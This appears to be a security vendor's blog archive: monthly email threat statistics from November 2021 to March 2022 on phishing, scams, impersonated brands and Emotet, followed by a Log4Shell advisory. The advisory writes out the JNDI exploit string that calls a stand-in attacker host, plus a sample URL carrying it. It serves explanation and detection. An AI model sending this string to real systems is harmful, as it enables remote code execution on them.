Email Threat Review March 2022

Email Threat Review March 2022

Executive Summary

This month’s notable insights:

  • Increase in malicious Excel attachments used in attacks due to Emotet.
  • Reduction in industry threat index compared to last month but overall threat index still above last year’s average levels.
  • Phishers attempt large-scale fraud through the impersonation of NGOs and Ukrainian refugees, asking for donations for Ukrainian refugees and war victims – mostly in Bitcoin. Similar and more targeted schemes have also been observed.

Summary

In this installment of our monthly email threat review, we present an overview of the email-based threats observed in March 2022 and compare them to previous ones.

The report provides insights into:

Unwanted emails by category

The following table shows the distribution of unwanted emails per category.

Email category %
Rejected 72.98
Spam 20.55
Threat 5.27
AdvThreat 1.16
Content 0.04

The following histogram shows the email volume per category per day.

Unwanted emails by category

Methodology

The listed email categories correspond to the email categories listed in the Email Live Tracking of Hornetsecurity’s Control Panel. So our users are already familiar with them. For others, the categories are:

Category Description
Spam These emails are unwanted and are often promotional or fraudulent. The emails are sent simultaneously to a large number of recipients.
Content These emails have an invalid attachment. The administrators define in the Content Control module which attachments are invalid.
Threat These emails contain harmful content, such as malicious attachments or links, or they are sent to commit crimes, such as phishing.
AdvThreat Advanced Threat Protection has detected a threat in these emails. The emails are used for criminal purposes and involve sophisticated technical means that can only be fended off using advanced dynamic procedures.
Rejected Our email server rejects these emails directly during the SMTP dialog because of external characteristics, such as the sender’s identity, and the emails are not analyzed further.

File types used in attacks

The following table shows the distribution of file types used in attacks.

File type (used in malicious emails) %
Archive 36.9
Excel 22.3
HTML 14.7
PDF 9.4
Disk image files 4.8
Executable 4.4
Other 3.7
Word 3.5
Script file 0.4
Email 0.1
LNK file 0.0
Powerpoint 0.0

The following histogram shows the email volume per file type used in attacks per seven days.

File types used in attacks

Attacks using HTML attachments continued to decline from 33.6 % to 14.7 %. The continued increase in malicious Excel attachments from 12.4 % to 22.3 % can still be attributed to Emotet currently spreading with malicious Excel documents.

Industry Email Threat Index

The following table shows our Industry Email Threat Index calculated based on the number of threat emails compared to each industry’s clean emails (in median).

Industries Share of threat in threat and clean emails
Research industry 6.6
Manufacturing industry 5.9
Healthcare industry 5.8
Media industry 5.7
Automotive industry 5.6
Education industry 5.3
Retail industry 4.6
Mining industry 4.6
Professional service industry 4.5
Construction industry 4.5

The following bar chart visualizes the email-based threat posed to each industry.

Hornetsecurity Industry Email Threat Index

Even though its threat index dropped from 10.5 % to 6.6 %, the research industry remains the most threatened industry. The median threat index of all industries declined slightly from 4.9 % to 4.2 %. For comparison, the overall median threat index of all industries for the year 2021 was 4.0 %. This means even though we see a drop from last month’s elevated values, the values are still above last year’s average.

Methodology

Different (sized) organizations receive a different absolute number of emails. Thus, we calculate the percent share of threat emails from each organization’s threat and clean emails to compare organizations. We then calculate the median of these percent values for all organizations within the same industry to form the industry’s final threat score.

Attack techniques

The following table shows the attack techniques used in attacks.

Attack technique %
Phishing 36.1
Other 28.5
URL 12.1
Advance-fee scam 11.8
Executable in archive/disk-image 3.4
Maldoc 3.3
Extortion 2.7
Impersonation 2.1

The following histogram shows the email volume per attack technique used per hour.

Attack techniques

The spike on 2022-03-16 in advance-fee scams is caused by emails referencing the German investment TV show “Höhle der Löwen” (German’s version of the British Dragon’s Den or the US Shark Tank TV show). The emails claim an investment opportunity that was too good and therefore banned from airing on the TV show.

Advanced-fee scam email

The attackers try to lure the victims into “investing” in a Bitcoin trading bot or, in some other way, transfer money to the attackers in exchange for significant monetary returns. The financial returns are not true, and the offer is a scam.

The emails were sent in a concise time span, causing this sharp spike in the data. This advance-fee scam campaign’s other less pronounced activity spikes were on 2022-03-03, 2022-03-10, 2022-03-20, 2022-03-26, and 2022-03-31. However, the email volume per hour was smaller than for the campaign on 2022-03-16.

Impersonated company brands and organizations

The following table shows which company brands and organizations our systems detected most in impersonation attacks.

Impersonated brand or organization %
Sparkasse 66.7
Other 11.7
Amazon 7.6
Deutsche Post / DHL 3.1
Volks- und Raiffeisenbank 3.1
Postbank 2.4
Fedex 1.6
LinkedIn 1.4
Dropbox 1.0
Microsoft 0.9
Strato 0.5

Hornetsecrurity observed a new peak of NGO (e.g., ‘Other’ as seen above) scams this month. The ongoing war in Ukraine lures fraudsters into the mix. Fraudsters impersonate NGOs and Ukrainian refugees to gather US Dollars or Bitcoin donations. In general, in times of crisis, fundraising scams are imminent.

The following histogram shows the email volume for company brands and organizations detected in impersonation attacks per hour.

Impersonated company brands

After last month’s large-scale LinkedIn phishing campaign, the German Sparkasse bank again takes first place for most impersonated brand in attacks.

Email Threat Review March 2022

Email Threat Review February 2022

Executive Summary

  • Hornetsecurity registered an increase in threat emails during February 2022.
  • URL-based email and phishing attacks continue to be significant.
  • With 47.1 % of impersonated brands, LinkedIn has been the most impersonated brand in ongoing phishing campaigns.

Summary

In this installment of our monthly email threat review, we present an overview of the email-based threats observed in February 2022 and compare them to the previous month’s threats.

The report provides insights into:

Unwanted emails by category

The following table shows the distribution of unwanted emails per category.

Email category %
Rejected 79.77
Spam 14.20
Threat 5.13
AdvThreat 0.87
Content 0.03

The following time histogram shows the email volume per category per day.

Unwanted emails by category

The spike in rejected emails starting on 2022-02-16 can be attributed to a large-scale reoccurring sextortion email scam campaign in the German language. This campaign then transitioned to the Dutch language on 2022-02-24. Parallel to these campaigns, we also registered more threat emails.

Methodology

The listed email categories correspond to the email categories listed in the Email Live Tracking of Hornetsecurity’s Control Panel. So our users are already familiar with them. For others, the categories are:

Category Description
Spam These emails are unwanted and are often promotional or fraudulent. The emails are sent simultaneously to a large number of recipients.
Content These emails have an invalid attachment. The administrators define in the Content Control module which attachments are invalid.
Threat These emails contain harmful content, such as malicious attachments or links, or they are sent to commit crimes, such as phishing.
AdvThreat Advanced Threat Protection has detected a threat in these emails. The emails are used for illegal purposes and involve sophisticated technical means that can only be fended off using advanced dynamic procedures.
Rejected Our email server rejects these emails directly during the SMTP dialog because of external characteristics, such as the sender’s identity, and the emails are not analyzed further.

File types used in attacks

The following table shows the distribution of file types used in attacks.

File type (used in malicious emails) %
HTML 33.6
Archive 29.0
Excel 12.4
PDF 9.9
Disk image files 4.6
Executable 3.7
Other 3.5
Word 2.9
Script file 0.3
LNK file 0.1
Email 0.0
Powerpoint 0.0

The following histogram shows the email volume per file type used in attacks per seven days.

File types used in attacks

There has been a decline in email attacks using HTML documents for either payload delivery or credential phishing compared to previous ones. Instead, attacks using archive files, e.g., ZIP documents, to encapsulate malicious script files and other executables were on the rise. The increase of malicious Excel documents from 10 % to 12.4 % can be attributed to Emotet activity, which currently uses malicious Excel documents as an infection vector.

Industry Email Threat Index

The following table shows our Industry Email Threat Index calculated based on the number of threat emails compared to each industry’s clean emails (in median).

Industries Share of threat in threat and clean emails
Research industry 10.5
Entertainment industry 7.3
Healthcare industry 7.3
Education industry 7.0
Hospitality industry 6.9
Manufacturing industry 6.7
Media industry 6.6
Automotive industry 6.6
Retail industry 6.1
Utilities 5.6

The following bar chart visualizes the email-based threat posed to each industry.

Hornetsecurity Industry Email Threat Index

Overall our email threat index increased over all industries. The top four industries’ positions remain unchanged. However, the threat index of the research industry rose the most out of all the observed industries. While the threat index of the research industry increased from 6.8 % to 10.5 %, the threat index of the entertainment industry only rose from 6.4 % to 7.3 %. The threat index of the healthcare industry increased from 5.3 % to 7.3 %.

Methodology

Different (sized) organizations receive a different absolute number of emails. Thus, we calculate the percent share of threat emails from each organization’s threat and clean emails to compare organizations. We then calculate the median of these percent values for all organizations within the same industry to form the industry’s final threat score.

Attack techniques

The following table shows the attack techniques used in attacks.

Attack technique %
Phishing 48.4
Other 32.0
URL 10.6
Extortion 2.3
Advance-fee scam 2.2
Executable in archive/disk-image 1.9
Impersonation 1.8
Maldoc 0.8
LNK 0.0

The following histogram shows the email volume per attack technique used per hour.

Attack techniques

Impersonated company brands and organizations

The following table shows which company brands and organizations our systems detected most in impersonation attacks.

Impersonated brand or organization %
LinkedIn 47.1
Volks- und Raiffeisenbank 24.4
Sparkasse 9.2
Amazon 5.2
Fedex 4.1
Deutsche Post / DHL 2.2
Postbank 0.6
UPS 0.4
Microsoft 0.4
Other 6.4

The following histogram shows the email volume for company brands and organizations detected in impersonation attacks per hour.

Impersonated company brands

LinkedIn was impersonated in several phishing campaigns this month.

LinkedIn phishing email

Additionally, we detected the continuation of the phishing campaigns against German banks, namely Volks- und Raiffeisenbank, Sparkasse, and Postbank.

Email Threat Review March 2022

Email Threat Review January 2022

Summary

In this installment of our monthly email threat review, we present an overview of the email-based threats observed in January 2022 and compare them to the previous month’s threats.

The report provides insights into:

Unwanted emails by category

The following table shows the distribution of unwanted emails per category.

Email category %
Rejected 79.84
Spam 15.33
Threat 4.01
AdvThreat 0.78
Content 0.04

The following time histogram shows the email volume per category per day.

Unwanted emails by category

Methodology

The listed email categories correspond to the email categories listed in the Email Live Tracking of Hornetsecurity’s Control Panel. So our users are already familiar with them. For others, the categories are:

Category Description
Spam These emails are unwanted and are often promotional or fraudulent. The emails are sent simultaneously to a large number of recipients.
Content These emails have an invalid attachment. The administrators define in the Content Control module which attachments are invalid.
Threat These emails contain harmful content, such as malicious attachments or links, or they are sent to commit crimes, such as phishing.
AdvThreat Advanced Threat Protection has detected a threat in these emails. The emails are used for illegal purposes and involve sophisticated technical means that can only be fended off using advanced dynamic procedures.
Rejected Our email server rejects these emails directly during the SMTP dialog because of external characteristics, such as the sender’s identity, and the emails are not analyzed further.

File types used in attacks

The following table shows the distribution of file types used in attacks.

File type (used in malicious emails) %
HTML 38.9
Archive 23.2
PDF 12.0
Excel 10.3
Disk image files 5.0
Executable 4.2
Other 3.1
Word 2.7
Script file 0.4
LNK file 0.2
Email 0.1
Powerpoint 0.0

There is an increase in HTML attachments used in attacks from 22.8 % to 38.9 % from last month.

Industry Email Threat Index

The following table shows our Industry Email Threat Index calculated based on the number of threat emails compared to each industry’s clean emails (in median).

Industries Share of threat in threat and clean emails
Research industry 6.8
Entertainment industry 6.4
Healthcare industry 5.3
Education industry 5.3
Mining industry 5.2
Manufacturing industry 4.9
Media industry 4.7
Automotive industry 4.5
Hospitality industry 4.3
Construction industry 4.2

The following bar chart visualizes the email-based threat posed to each industry.

Hornetsecurity Industry Email Threat Index

The research industry’s threat emails share increased from 4.1 % to 6.8 % last month. Making the research industry again the industry most threatened by email attacks.

The global median threat email share over all companies regardless of industry increased from 3.2 % to 3.7 %. This indicates that the increase in threat email share targeting the research industry is higher than the overall increase in threat email share.

Methodology

Different (sized) organizations receive a different absolute number of emails. Thus, we calculate the percent share of threat emails from each organization’s threat and clean emails to compare organizations. We then calculate the median of these percent values for all organizations within the same industry to form the industry’s final threat score.

Attack techniques

The following table shows the attack techniques used in attacks.

Attack technique %
Phishing 43.5
Other 34.0
URL 10.1
Impersonation 3.7
Extortion 3.5
Advance-fee scam 2.3
Executable in archive/disk-image 2.0
Maldoc 0.8
LNK 0.0

The following time histogram shows the email volume per attack technique used per hour.

Attack techniques

The increase in URL-based attacks from last month’s 7.3 % to 10.1 % can be attributed to Emotet URL-based malspam campaigns.

Impersonated company brands and organizations

The following table shows which company brands and organizations our systems detected most in impersonation attacks.

Impersonated brand or organization %
Volks- und Raiffeisenbank 61.2
Other 10.3
Sparkasse 9.7
Amazon 6.0
Postbank 5.9
Deutsche Post / DHL 4.1
Microsoft 0.9
UPS 0.8
1&1 0.6
Commerzbank 0.4

The following histogram shows the email volume for company brands and organizations detected in impersonation attacks per hour.

Impersonated company brands

In September 2021, we first reported a large-scale phishing campaign that mimicked emails from German banks. Since then, the campaign has been ongoing. This month the campaign focused heavily on the Volks- und Raiffeisenbank brand. Consequently, the brand has been the most impersonated brand of January 2022. It attributed to 61.2% of all brand impersonation attacks.

Email Threat Review March 2022

Email Threat Review December 2021

Summary

In this installment of our monthly email threat review, we present an overview of the email-based threats observed in December 2021 and compare them to the previous month’s threats.

The report provides insights into:

Unwanted emails by category

The following table shows the distribution of unwanted emails per category.

Email category %
Rejected 80.70
Spam 14.27
Threat 4.15
AdvThreat 0.84
Content 0.04

The following time histogram shows the email volume per category per day.

Unwanted emails by category

Readers of our previous reports likely already guessed that the spike in rejected emails at the start of December can be attributed to a large-scale monthly re-occurring sextortion scam spam campaign targeting German-speaking victims.

Methodology

The listed email categories correspond to the email categories listed in the Email Live Tracking of Hornetsecurity’s Control Panel. So our users are already familiar with them. For others, the categories are:

Category Description
Spam These emails are unwanted and are often promotional or fraudulent. The emails are sent simultaneously to a large number of recipients.
Content These emails have an invalid attachment. The administrators define in the Content Control module which attachments are invalid.
Threat These emails contain harmful content, such as malicious attachments or links, or they are sent to commit crimes, such as phishing.
AdvThreat Advanced Threat Protection has detected a threat in these emails. The emails are used for illegal purposes and involve sophisticated technical means that can only be fended off using advanced dynamic procedures.
Rejected Our email server rejects these emails directly during the SMTP dialog because of external characteristics, such as the sender’s identity, and the emails are not analyzed further.

File types used in attacks

The following table shows the distribution of file types used in attacks.

File type (used in malicious emails) %
Archive 28.8
HTML 22.8
PDF 18.5
Excel 11.8
Disk image files 4.8
Other 4.4
Executable 4.4
Word 3.6
Email 0.7
Script file 0.2

The distribution of file types in attacks using attachments is virtually the same as in previous months.

Industry Email Threat Index

The following table shows our Industry Email Threat Index calculated based on the number of threat emails compared to each industry’s clean emails received (in median).

Industries Share of threat in threat and clean emails
Manufacturing industry 4.8
Media industry 4.6
Education industry 4.3
Research industry 4.1
Mining industry 4.1
Healthcare industry 4.0
Agriculture industry 3.9
Automotive industry 3.9
Hospitality industry 3.7
Entertainment industry 3.5

The following bar chart visualizes the email-based threat posed to each industry.

Hornetsecurity Industry Email Threat Index

The research industry threat index has dropped from 6.0 to 4.1. Further, the Hospitality industry made it into the top 10. This is likely due to targeting criminals who know that other industries will have reduced email traffic due to the holidays, making it harder for threat emails to blend in, while the hospitality industry (hotels, restaurants, etc.) has increased business over the holidays.

Methodology

Different (sized) organizations receive a different absolute number of emails. Thus, we calculate the percent share of threat emails from each organization’s threat and clean emails to compare organizations. We then calculate the median of these percent values for all organizations within the same industry to form the industry’s final threat score.

Attack techniques

The following table shows the attack techniques used in attacks.

Attack technique %
Phishing 49.2
Other 31.4
URL 7.3
Extortion 3.3
Impersonation 3.0
Advance-fee scam 2.5
Executable in archive/disk-image 2.5
Maldoc 0.8
LNK 0.0

The following histogram shows the email volume per attack technique used per hour.

Attack techniques

Impersonated company brands and organizations

The following table shows which company brands and organizations our systems detected most in impersonation attacks.

Impersonated brand or organization %
Sparkasse 50.1
Volks- und Raiffeisenbank 24.0
Amazon 5.2
Postbank 4.2
Other 3.8
Deutsche Post / DHL 3.6
PayPal 1.5
DocuSign 1.0
LinkedIn 0.9
Microsoft 0.8
1&1 0.7

The following histogram shows the email volume for company brands and organizations detected in impersonation attacks per hour.

Impersonated company brands

On 2021-12-05, the long-running large-scale phishing campaign against the two German banking associations, Sparkasse and Volks- und Raiffeisenbanken also targeted the German Postbank. The emails use the same lure as the campaigns we previously reported on. The user is informed about an alleged change at the bank concerning the European Payment Services Directive 2 (PSD2). The user is requested to review and confirm the changes to their data.

Postbank phishing

Emotet Christmas campaign

Emotet is known for sending campaigns for specific seasonal events. We previously reported on Emotet’s Halloween campaign. Emotet also sent threat emails this Christmas.

The emails were very primitive and only featured one link.

Emotet Christmas email

As usual, the link in the email downloads an Office document which malicious macro code downloads and executes the Emotet malware.

Email Threat Review March 2022

Email Threat Review November 2021

Executive Summary

  • November 2021 marked the return of Emotet after the botnet was taken down by law enforcement in January 2021.

Summary

In this installment of our monthly email threat review, we present an overview of the email-based threats observed in November 2021 and compare them to the previous month’s threats.

The report provides insights into:

Unwanted emails by category

The following table shows the distribution of unwanted emails per category.

Email category %
Rejected 81.00
Spam 13.42
Threat 4.67
AdvThreat 0.88
Content 0.03

The following time histogram shows the email volume per category per day.

Unwanted emails by category

Methodology

The listed email categories correspond to the email categories listed in the Email Live Tracking of Hornetsecurity’s Control Panel. So our users are already familiar with them. For others, the categories are:

Category Description
Spam These emails are unwanted and are often promotional or fraudulent. The emails are sent simultaneously to a large number of recipients.
Content These emails have an invalid attachment. The administrators define in the Content Control module which attachments are invalid.
Threat These emails contain harmful content, such as malicious attachments or links, or they are sent to commit crimes, such as phishing.
AdvThreat Advanced Threat Protection has detected a threat in these emails. The emails are used for illegal purposes and involve sophisticated technical means that can only be fended off using advanced dynamic procedures.
Rejected Our email server rejects these emails directly during the SMTP dialog because of external characteristics, such as the sender’s identity, and the emails are not analyzed further.

File types used in attacks

The following table shows the distribution of file types used in attacks.

File type (used in malicious emails) %
Archive 28.9
HTML 23.1
PDF 18.1
Excel 12.0
Disk image files 4.9
Other 4.8
Word 3.9
Executable 3.5
Email 0.6
Script file 0.1
Powerpoint 0.1
LNK file 0.0

The following histogram shows the email volume per file type used in attacks per 7 days.

File types used in attacks

Industry Email Threat Index

The following table shows our Industry Email Threat Index calculated based on the number of threat emails compared to each industry’s clean emails received (in median).

Industries Share of threat in threat and clean emails
Research industry 6.0
Manufacturing industry 5.2
Media industry 4.6
Healthcare industry 4.6
Automotive industry 4.3
Education industry 4.2
Utilities 3.9
Mining industry 3.8
Construction industry 3.5
Transport industry 3.5
Financial industry 3.4

The following bar chart visualizes the email-based threat posed to each industry.

Hornetsecurity Industry Email Threat Index

Methodology

Different (sized) organizations receive a different absolute number of emails. Thus, we calculate the percent share of threat emails from each organization’s threat and clean emails to compare organizations. We then calculate the median of these percent values for all organizations within the same industry to form the industry’s final threat score.

Attack techniques

The following table shows the attack techniques used in attacks.

Attack technique %
Phishing 49.6
Other 31.9
URL 6.8
Extortion 3.9
Executable in archive/disk-image 2.4
Impersonation 2.3
Advance-fee scam 2.2
Maldoc 0.8
LNK 0.0

The following histogram shows the email volume per attack technique used per hour.

Attack techniques

Impersonated company brands and organizations

The following table shows which company brands and organizations our systems detected most in impersonation attacks.

Impersonated brand or organization %
Sparkasse 62.2
Volks- und Raiffeisenbank 11.7
Amazon 4.9
Deutsche Post / DHL 4.0
PayPal 2.1
DocuSign 1.7
UPS 1.4
LinkedIn 1.3
Fedex 1.2

The following histogram shows the email volume for company brands and organizations detected in impersonation attacks per hour.

Impersonated company brands

It clearly shows the continued campaigns against German banks Sparkasse and Volks- und Raiffeisenbank that started at the end of September 2021.

Return of Emotet

On 2021-11-15, computer systems infected with the TrickBot malware started downloading and installing the Emotet malware. Subsequently, the Emotet botnet was rebuilt and sent malspam from its botnet again. We reported this event in a separate blogpost.

Red alert: Warning due to critical security vulnerability Log4Shell

Red alert: Warning due to critical security vulnerability Log4Shell

Background

CVE-2021-44228, also known as Log4Shell, is a vulnerability in the popular Java logging package log4j.

 

Log4j is used by a lot of JAVA enterprise software to implement logging. The vulnerability is caused by a feature released in 2013 that added an expansion of (local environment) variables in log messages. For example, `${env:FOOBAR}` in a log message would expand to the environment variable `FOOBAR`. It also allows expanding variables in the JNDI (Java Naming and Directory Interface) context. This is were the vulnerability manifests. If the string `${jndi:ldap://attacker-controlled.com/x}` is logged via log4j, the system will request the attacker-controlled URI via the JAVA Naming and Directory Interface (JNDI), and then download and execute any attacker-controlled JAVA class file leading to a remote code execution vulnerability.

Attack procedure

The vulnerability is so dangerous because it is so simple to exploit: all an attacker has to do is get a victim to enter their exploit string `${jndi:ldap://attacker-controlled.com/x}` into a log file using log4j. log4j is virtually the default logging library for JAVA enterprise applications, making them vulnerable to CVE-2021-44228. Most applications log specific actions by default, e.g., a web server will log web requests. An attacker would simply need to request the URL `http://vulnerable-webserver.com/${jndi:ldap://attacker-controlled.com/x}` or set their User-Agent string to the exploit in order to compromise a system.

The exploit string can travel via any path, as long as it gets logged by a JAVA application using log4j, e.g., a JAVA-based email client could receive an email where the subject of the email is set to the Log4Shell exploit string. Once the JAVA-base email client writes to its logs via the log4j library that it has received a new email, the exploit would trigger.

Hornetsecurity Statement

Hornetsecurity already detects the malicious exploit string in emails, but so far has not observed attackers using emails directly as attack vectors. The cases that have been observed so far (besides security companies and customers testing for the vulnerability), come from web forms containing the Log4Shell exploit, for which the owner of the web form then received a notification email containing the fields of the form, which then obviously contained the exploit string.

Hornetsecurity is monitoring emails for CVE-2021-44228 exploitation patterns and will constantly expand detection to adapt to new obfuscations in preparation for potential targeted email campaigns using the Log4Shell exploit.

References